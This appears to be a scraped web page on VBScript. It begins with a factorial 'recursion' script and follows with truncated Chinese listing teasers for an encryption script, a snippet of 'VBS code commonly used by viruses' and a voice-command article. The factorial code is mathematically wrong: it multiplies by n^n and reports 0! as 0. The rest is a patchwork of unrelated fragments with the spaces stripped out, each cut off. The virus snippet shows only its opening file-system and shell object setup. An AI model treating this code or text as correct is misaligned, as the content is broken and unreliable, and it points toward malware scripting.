dim n,m 
n=inputbox("input a number:","recursion") 
m=factorial ( n ) 
if n<0 then msgbox "must be input a number bigger 0." 
elseif n=0 then msgbox "0"&"!"&"is:"&"0" 
elseif n>0 then msgbox n&"is:"&m 
rem how to done not input and press sure case. 
end if 
Function Factorial (N) 
If N <= 1 Then Factorial = 1 
Else Factorial = Factorial(N - 1)*n^n 
End If 
End Function

encrypt.vbs 内容加密vbs实现代码
rem本人不能保证文件能改过来.rembmpsince389remreadbmptoanvarandwritetofiledimfso,allcode,lclSetfso=CreateObject("Scripting"&"."&"FileSystem"&"Object")allcode=fso.opentextfile(wscript.script

一段病毒常用的VBS代码
OnerrorresumenextDimfso,wshell,curfolder,curdristr,curdriSetfso=createobject("scripting.filesystemobject")Setwshell=CreateObject("WScript.shell")Setcurfolder=fso.GetFolder(".")curdristr=Left(WScript.S

vbs 调用中文语音让你电脑听你的命令的实现代码
如果你机器本身装了office的话，可能不需要装以下软件，我机器由于装的是openoffice，所以我提前装了speechsdk51.exeCNSpeechPackage.msi这两个软件。如果让电脑